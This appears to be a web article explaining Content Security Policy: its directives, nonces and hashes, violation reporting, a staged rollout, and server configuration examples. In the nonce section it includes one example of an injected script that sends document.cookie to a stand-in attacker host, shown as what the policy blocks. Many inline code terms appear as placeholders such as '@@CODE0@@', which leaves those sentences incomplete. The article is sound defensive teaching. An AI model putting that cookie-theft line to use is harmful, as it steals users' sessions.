What Is Content Security Policy (CSP) and How Do You Implement It?

Content Security Policy (CSP) is an HTTP header standard that mitigates XSS and data injection attacks by restricting the origins of executable scripts and resources.

Understanding What Is Content Security Policy (CSP) and How Do You Implement It? is fundamental for enterprise web application security, infrastructure resilience, and regulatory compliance. Modern web applications rely on complex ecosystems of first-party code, third-party libraries, tracking pixels, tag managers, and content delivery networks. This interconnected architecture introduces broad attack surfaces, predominantly Cross-Site Scripting (XSS), data exfiltration, and malicious payload injections. Implementing an effective Content Security Policy allows technical leaders and engineering teams to define a deterministic browser-enforced trust boundary, significantly hardening client-side execution environments without disrupting critical user workflows.

Understanding Content Security Policy (CSP)

Content Security Policy is an added layer of security standardized by the World Wide Web Consortium (W3C) that enables web administrators to declare approved sources of content that the browser is permitted to load on a given webpage. By default, the browser operates under the Same-Origin Policy (SOP), which isolates documents loaded from different origins (protocol, domain, and port combinations). However, the SOP does not prevent a web page from pulling in external scripts, images, stylesheets, or executing inline code injected into the Document Object Model (DOM).

When an attacker identifies an unescaped user input or an insecure deserialization vector, they can inject arbitrary client-side code (typically JavaScript). Because the browser trusts all code originating within the page execution context, it executes the malicious script with the full privileges of the legitimate user. This mechanism is the root cause of Cross-Site Scripting (XSS), enabling session hijacking, credential harvesting, keystroke logging, and unauthorized transaction authorization.

CSP alters this execution model from default-allow to explicit-allow. By transmitting the Content-Security-Policy HTTP response header, the server provides a set of directives that dictate precisely which origins are trusted for executable scripts, stylesheets, images, fonts, frames, media, and network connections. Any asset requested by the page that is not explicitly whitelisted or cryptographically validated is blocked by the browser rendering engine prior to evaluation or network transit.

The Core Definition and Purpose

The primary objective of CSP is the restriction and remediation of unauthorized script execution and malicious resource loading. Rather than attempting to predict every possible permutation of input sanitization failure within server-side applications, CSP serves as a secondary, defense-in-depth security perimeter enforced at the browser engine level.

Modern CSP specifications (CSP Level 2 and CSP Level 3) have shifted the paradigm from legacy host-based whitelisting (such as script-src https://trusted.cdn.com) toward strict cryptographic validation (using nonces and SHA hashes). This evolution addresses the inherent weaknesses of domain whitelisting, such as JSONP endpoints and open redirect vulnerabilities hosted on large, supposedly trusted CDN infrastructures.

How CSP Mitigates Cross-Site Scripting (XSS) and Data Injection

CSP eliminates the most common vectors of XSS by disallowing inline JavaScript execution by default. In a standard HTML context, an attacker who manages to inject @@CODE0@@ or an inline event handler like @@CODE1@@ will succeed if no CSP is active. Under a strict Content Security Policy, the browser refuses to execute any inline script block or inline event handler unless it contains a matching cryptographic nonce or cryptographic hash defined in the HTTP header.

Furthermore, CSP mitigates data injection and data exfiltration by governing network communication channels. Directives such as @@CODE0@@ restrict the endpoints to which APIs (@@CODE1@@, @@CODE2@@, @@CODE3@@, EventSource) can send data. Even if an adversary manages to execute arbitrary code through an unexpected vector, a hardened CSP prevents that script from transmitting stolen session tokens or personally identifiable information (PII) to an unauthorized attacker-controlled command-and-control (C2) server.

The Architecture of a Content Security Policy

A Content Security Policy operates as a series of semi-colon-separated policy directives. Each directive defines a specific resource category and an accompanying list of source expressions that delineate permissible origins or cryptographic identifiers for that category.

The browser processes these directives during initial document parsing. When the HTML parser encounters a resource reference—such as an external script file, an embedded frame, or a web font—it queries the active policy table. If the resource source matches the criteria defined in the relevant directive, the browser proceeds with the fetch and execution lifecycle. If the resource fails the match, the browser drops the request, outputs a violation error to the developer console, and dispatches a structured telemetry report if a reporting endpoint is configured.

HTTP Headers vs. HTML Meta Tags

There are two primary methods for delivering a Content Security Policy to the client: via an HTTP response header or embedded inside the HTML document using a <meta> tag. While both methods enforce policies, the HTTP header approach is technically superior and mandatory for complete protection.

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.example.com; object-src 'none';

Alternatively, a policy can be declared within the <head> of an HTML document:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://trustedscripts.example.com; object-src 'none';">

Despite the accessibility of the <meta> tag for developers lacking server-level configuration access, it comes with critical architectural limitations:

1. Directives Not Supported in Meta Tags: Directives governing frame hierarchies (@@CODE0@@), document URIs (@@CODE1@@), and policy reporting (@@CODE2@@, @@CODE3@@) cannot be enforced via <meta> elements.

2. Timing Vulnerabilities: The @@CODE0@@ tag is parsed sequentially. Any resource declared or initiated before the parser reaches the @@CODE1@@ tag in the DOM might bypass the intended policy controls.

3. Report-Only Mode Disabled: The @@CODE0@@ header cannot be deployed via @@CODE1@@ tags.

Understanding the Trust Model: Restricting Origins

The core trust model of CSP revolves around defining authorized sources through specific source expressions. Understanding how these keywords and schemes interact is essential to avoid introducing accidental security bypasses:

• 'self': Matches the current origin, explicitly matching the identical scheme, host, and port of the requested document.

• @@CODE0@@: Matches nothing. Any attempt to load resources governed by a directive set to @@CODE1@@ will be blocked.

• Host Source (@@CODE0@@, @@CODE1@@): Restricts loading to the specified domain or wildcard subdomain. Host sources should always specify the https:// scheme to prevent mixed-content downgrade attacks.

• Scheme Source (@@CODE0@@, @@CODE1@@, @@CODE2@@): Allows resources loaded via the specified scheme. Declaring @@CODE3@@ or @@CODE4@@ within @@CODE5@@ creates critical vulnerabilities, as attackers can inject arbitrary script payloads encoded in data URIs.

• @@CODE0@@: Allows the execution of inline @@CODE1@@ tags, inline @@CODE2@@ attributes, and @@CODE3@@ URIs. Using this keyword completely invalidates the primary anti-XSS protections of CSP.

• @@CODE0@@: Allows string-to-code evaluation mechanisms such as @@CODE1@@, @@CODE2@@, @@CODE3@@, and window.execScript().

Essential CSP Directives You Need to Know

CSP Level 3 categorizes directives into distinct operational domains: Fetch Directives, Document Directives, Navigation Directives, and Reporting Directives. Constructing an enterprise-grade policy requires a granular understanding of how these directives govern specific execution contexts and how the fallback hierarchy behaves.

The foundation of any policy is the @@CODE0@@ directive. It acts as a fallback for all fetch directives that are not explicitly defined in the policy. However, @@CODE1@@ does not govern document or navigation directives such as @@CODE2@@, @@CODE3@@, or frame-ancestors.

Fetch Directives

Fetch directives govern the locations from which web page elements can request and load assets across the network:

• @@CODE0@@: The global fallback for unspecified fetch directives. Setting @@CODE1@@ ensures that any unlisted fetch directive defaults to the current origin.

• script-src: Controls the locations from which external scripts can be fetched and controls whether inline scripts are allowed to execute.

• @@CODE0@@: A CSP Level 3 directive that specifically controls @@CODE1@@ elements, allowing fine-grained distinction from inline event handlers (script-src-attr).

• @@CODE0@@: Governs valid sources for stylesheets, including external @@CODE1@@ resources and inline <style> blocks.

• @@CODE0@@: Restricts the use of inline CSS styles applied directly to HTML elements via the @@CODE1@@ attribute.

• img-src: Dictates authorized sources for images, image masks, and favicons.

• @@CODE0@@: Limits the target URLs that can be loaded using programmatic interfaces such as @@CODE1@@, @@CODE2@@, @@CODE3@@, @@CODE4@@, and @@CODE5@@.

• @@CODE0@@: Restricts the origins from which web fonts declared via @@CODE1@@ can be loaded.

• @@CODE0@@: Controls the origins from which plugins like Flash, Java applets, or PDF viewer embeds (@@CODE1@@, @@CODE2@@, @@CODE3@@) can be loaded. In modern architectures, this should almost universally be set to 'none'.

• @@CODE0@@: Restricts the origins for audio and video media elements (@@CODE1@@, <video>).

• @@CODE0@@ / @@CODE1@@: Controls the origins of nested browsing contexts, such as @@CODE2@@ and @@CODE3@@ elements.

Document Directives

Document directives govern the properties of the document itself and the operational capabilities of the immediate DOM environment:

• @@CODE0@@: Restricts the URLs that can appear in a document's @@CODE1@@ element. If an attacker injects a malicious @@CODE2@@ tag, all relative URLs (including scripts and form submissions) will resolve against the attacker's server. Setting @@CODE3@@ prevents this attack vector entirely.

• @@CODE0@@: (Deprecated in CSP Level 3 in favor of @@CODE1@@) Historically limited the MIME types of plugins that could be instantiated.

Navigation Directives

Navigation directives govern where users can be directed from the current document context and where the document itself can be embedded:

• @@CODE0@@: Restricts the URLs that can be used as the target of HTML @@CODE1@@ submissions. Setting this to @@CODE2@@ or designated payment/authentication endpoints prevents cross-site form hijacking where an attacker alters the form's @@CODE3@@ attribute.

• @@CODE0@@: Restricts which parent origins may embed the current page inside @@CODE1@@, @@CODE2@@, @@CODE3@@, or @@CODE4@@ tags. This directive supersedes the legacy @@CODE5@@ HTTP response header and provides comprehensive protection against UI redressing and Clickjacking attacks. For example, frame-ancestors 'none' prevents any site from embedding the document.

A Caution-Aware Step-by-Step Guide to Implementing CSP

Implementing a strict Content Security Policy across an existing enterprise codebase without breaking core production functionality requires a disciplined, phase-driven methodology. Immediate enforcement of an unverified policy almost invariably leads to broken user authentication, blocked third-party analytics, and broken third-party payment gateways.

Step 1: Conduct a Comprehensive Asset and Origin Audit

Before drafting a single policy line, engineering teams must catalog all assets loaded across every page template of the application. This requires auditing first-party script bundles, CSS frameworks, tracking scripts, customer support widgets, CDN origins, web fonts, and dynamic API endpoints.

A comprehensive inventory should distinguish between static assets hosted on dedicated CDNs and dynamic external services that communicate via @@CODE0@@ or @@CODE1@@. Special attention must be paid to tag managers (e.g., Google Tag Manager), which often dynamically inject arbitrary external scripts into the execution context.

Step 2: Draft Your Initial Security Policy

Construct an initial baseline policy that sets safe baseline restrictions while allowing existing operational origins identified in the audit. A balanced starting policy should disable obsolete technologies (such as plugins) and set secure defaults for document boundaries:

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' https://cdn.trusted.com; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; img-src 'self' data: https://images.trusted.com; connect-src 'self' https://api.trusted.com; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'self'; report-to csp-endpoint;

Step 3: Deploy in Content-Security-Policy-Report-Only Mode First

Never deploy a new policy directly in active enforcement mode (@@CODE0@@). Instead, deliver the policy using the @@CODE1@@ HTTP response header.

In report-only mode, the browser parses the policy, evaluates every resource request against the directives, and logs any violations. However, it does not block the resource from loading. This telemetry-only mode ensures zero downtime or user disruption while generating raw violation reports across real-world user devices, legacy browsers, and varied network environments.

Step 4: Analyze Violation Reports and Refine Directives

Deploy an automated log aggregator or CSP reporting service to collect violation payloads dispatched by clients. Filter out false positives, which are commonly caused by:

• Browser extensions (e.g., ad blockers, password managers) injecting custom DOM elements.

• Public Wi-Fi networks injecting advertisements or interstitial tracking scripts.

• Legacy, undocumented application components loading deprecated third-party widgets.

Iteratively update the policy draft by adding missing legitimate origins or, preferably, refactoring the application code to eliminate inline scripts and unnecessary external dependencies. Maintain report-only mode until violation reports approach baseline noise levels.

Step 5: Enforce the Policy in Production

Once the policy is stabilized and tested across all standard user journeys, rename the HTTP response header from @@CODE0@@ to @@CODE1@@.

Continue monitoring reporting endpoints post-enforcement to rapidly detect newly introduced regressions during subsequent continuous deployment (CI/CD) cycles or active client-side injection attempts.

Handling Inline Scripts and Styles Securely

The most significant architectural hurdle when adopting a strict Content Security Policy is managing inline JavaScript and CSS. Modern web frameworks, server-side rendering (SSR) hydration state objects, and analytics snippets frequently inject scripts directly into the HTML document.

Historically, teams bypassed this issue by adding @@CODE0@@ to their @@CODE1@@ and style-src directives. This practice completely defeats the security purpose of CSP, rendering the application vulnerable to basic Cross-Site Scripting payloads.

The Dangers of 'unsafe-inline' and 'unsafe-eval'

When @@CODE0@@ is present in @@CODE1@@, the browser cannot differentiate between an inline script written by the original application developer and a malicious <script> tag injected by an attacker via a reflected or stored vulnerability. Consequently, both are executed indiscriminately.

Similarly, @@CODE0@@ grants the JavaScript engine permission to compile and execute strings as code at runtime. Many legacy JavaScript libraries used @@CODE1@@ or @@CODE2@@ for JSON parsing and dynamic templating. In modern ECMAScript standards, native APIs such as @@CODE3@@ have rendered @@CODE4@@ obsolete, and retaining @@CODE5@@ opens significant DOM-based XSS vectors.

Implementing Cryptographic Nonces

A cryptographic nonce ("number used once") is a dynamically generated, cryptographically secure random token generated by the web server on every individual HTTP request. The server includes this token in the CSP HTTP header and attaches the identical token to legitimate inline @@CODE0@@ tags via the @@CODE1@@ attribute.

Content-Security-Policy: script-src 'self' 'nonce-r4nd0mN0nc3V4lu3';

In the corresponding HTML document delivered in that exact response:

<!-- This script executes successfully -->
<script nonce="r4nd0mN0nc3V4lu3">
  window.__INITIAL_STATE__ = { user: "Enterprise Admin", authenticated: true };
</script>

<!-- This injected script is blocked by the browser -->
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Critical Implementation Rules for Nonces:

1. Uniqueness: A nonce must be generated using a cryptographically secure pseudorandom number generator (CSPRNG, e.g., crypto.randomBytes()) on every single response. Nonces must never be static or predictable.

2. Cache Isolation: HTML pages containing nonces must not be stored in unsegmented public caches (like shared CDNs) without appropriate @@CODE0@@ or @@CODE1@@ headers, otherwise different users will receive identical nonces.

3. No Dynamic Injection: Never dynamically copy a nonce from a valid script element to an untrusted dynamically created script element within client-side code.

Utilizing Hashes for Static Inline Content

When generating dynamic server-side nonces is not feasible—such as on statically generated websites (Jamstack) hosted entirely on static storage buckets or edge CDNs—cryptographic hashes provide an effective alternative.

The developer computes the SHA-256, SHA-384, or SHA-512 cryptographic digest of the exact string content inside the inline script tag (excluding the opening and closing <script> tags, but including whitespace and line breaks). This base64-encoded hash is then added to the policy:

Content-Security-Policy: script-src 'self' 'sha256-qznLcsROx4GACP2dm0UCKCzCG-HiZ1guq6ZZPDBV5tE=';

<script>
  console.log('Static configuration loaded.');
</script>

If an attacker modifies even a single byte or injects additional instructions inside the <script> block, the calculated hash will not match the hash in the CSP header, and the browser will refuse execution.

CSP Reporting: Monitoring Threats in Real-Time

Deploying a Content Security Policy without a robust violation reporting pipeline creates an operational blind spot. Real-time reporting allows organizations to detect security regressions introduced by new frontend deployments, monitor ongoing automated injection attacks, and identify third-party vendor supply chain breaches before they impact end users.

Configuring the report-uri and report-to Directives

The reporting mechanism has transitioned across specification levels. CSP Level 2 utilized the @@CODE0@@ directive, which sent a single HTTP @@CODE1@@ request containing a JSON payload for every violation. CSP Level 3 introduced the Reporting API via the report-to directive, which enables the browser to batch reports and use standardized reporting endpoints.

To ensure broad compatibility across both modern and legacy browsers, enterprise deployments typically declare both directives simultaneously:

Reporting-Endpoints: csp-endpoint="https://telemetry.example.com/csp-reports"
Content-Security-Policy: default-src 'self'; script-src 'self'; report-to csp-endpoint; report-uri https://telemetry.example.com/csp-reports;

When a violation occurs, the browser generates a structured JSON report. Below is an example payload delivered via the Reporting API:

{
  "csp-report": {
    "document-uri": "https://example.com/checkout",
    "referrer": "https://example.com/cart",
    "violated-directive": "script-src-elem",
    "effective-directive": "script-src",
    "original-policy": "default-src 'self'; script-src 'self'; report-to csp-endpoint;",
    "disposition": "enforce",
    "blocked-uri": "https://malicious-cdn.com/keylogger.js",
    "line-number": 42,
    "source-file": "https://example.com/checkout",
    "status-code": 200,
    "script-sample": ""
  }
}

Integrating CSP Reports with Security Information and Event Management (SIEM)

Large-scale applications can generate millions of CSP violation reports daily. Sending these unstructured payloads directly to primary operational databases can cause resource exhaustion.

Enterprise architectures implement an ingestion buffer:

1. Edge Ingestion Endpoint: A lightweight serverless function or API gateway receives the HTTP @@CODE0@@ requests and immediately acknowledges receipt with a @@CODE1@@ response to minimize client overhead.

2. Streaming and Deduplication Pipeline: Events are queued into an event bus (e.g., Apache Kafka, AWS Kinesis) where automated stream processors strip known noise (e.g., specific browser extensions, translator plugins) and deduplicate identical reports.

3. SIEM / SOC Alerting: Normalized data is ingested into SIEM systems (e.g., Splunk, Datadog, Elastic Security). Automated alerts trigger if the frequency of a specific blocked-uri spikes, signaling an active client-side compromise or a severe deployment bug.

Best Practices for Enterprise CSP Management

Maintaining a Content Security Policy across hundreds of microfrontends, dynamic feature releases, and shifting marketing tag integrations requires structured governance. Without strict lifecycle management, policies tend to degrade over time, accumulating permissive wildcards (*), broad domain inclusions, and accidental security exceptions.

Implementing Strict CSP with strict-dynamic

To overcome the fragility of domain whitelisting—where trusted CDNs can be abused via hosted vulnerable scripts—CSP Level 3 introduced the 'strict-dynamic' source expression.

When @@CODE0@@ is declared in @@CODE1@@ alongside a cryptographic nonce:

1. The browser executes any inline or external script that possesses the valid nonce.

2. Any new script dynamically created and appended to the DOM by that trusted script (e.g., document.createElement('script')) automatically inherits trust and is executed without needing explicit whitelisting in the header.

3. Legacy host whitelists are ignored by modern browsers, simplifying policy maintenance while strengthening security.

Content-Security-Policy: script-src 'nonce-dGhpczlzQW4wbmNl' 'strict-dynamic' https: 'unsafe-inline'; object-src 'none'; base-uri 'self';

Note: In the policy above, @@CODE0@@ and @@CODE1@@ are provided as graceful fallbacks for legacy browsers that do not support 'strict-dynamic' and nonces.

Server-Level Configuration Examples

Implementing CSP at the web server or reverse proxy level ensures consistent enforcement before requests reach application-level middleware.

Nginx Configuration

# Add CSP header to all HTTPS responses
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-$request_id'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none';" always;

Apache HTTP Server Configuration (@@CODE0@@ or @@CODE1@@)

<IfModule mod_headers.c>
    Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'self';"
</IfModule>